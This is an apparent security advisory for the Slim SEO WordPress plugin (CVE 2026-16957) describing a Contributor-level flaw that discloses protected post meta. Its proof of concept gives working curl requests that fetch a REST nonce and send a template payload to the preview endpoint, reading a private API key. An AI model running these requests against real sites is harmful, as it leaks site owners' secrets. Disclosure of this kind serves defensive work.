Slim SEO < 4.9.11 – Contributor+ Arbitrary Post Meta Disclosure | CVE 2026-16957

Description

The plugin does not restrict a post-meta preview feature to posts the user is allowed to edit, verifying only read access, allowing users with the Contributor role to read arbitrary post meta, including protected and private keys, of published posts they do not own, including password-protected posts and posts of non-public post types.

Proof of Concept

Prerequisites: Slim SEO active; a Contributor account. An admin-owned PUBLISHED post exists (here post ID 3) carrying a private meta key such as _secret_api_key.

1. As the Contributor, obtain the wp_rest nonce (Contributors can load the block editor):
   NONCE=$(curl -s -b contrib.txt "https://victim.example/wp-admin/admin-ajax.php?action=rest-nonce")

2. Read protected and private meta of a published post the Contributor does not own:
   curl -s -b contrib.txt -X POST \
     "https://victim.example/index.php?rest_route=/slim-seo/meta-tags/preview/post-description" \
     -H "X-WP-Nonce: $NONCE" -H "Content-Type: application/json" \
     --data '{"ID":3,"text":"secret={{ post.custom_field._secret_api_key }} edit_last={{ post.custom_field._edit_last }}"}'
   # => {"preview":"secret=sk_live_MARKER_9921 edit_last=2", ...}

Boundary: a draft or private post the Contributor does not own returns rest_forbidden (403), and a trashed post is likewise refused; no nonce returns 401, and a Subscriber returns 403. The disclosure is bounded to publish-status posts, which includes password-protected posts and posts belonging to non-public custom post types.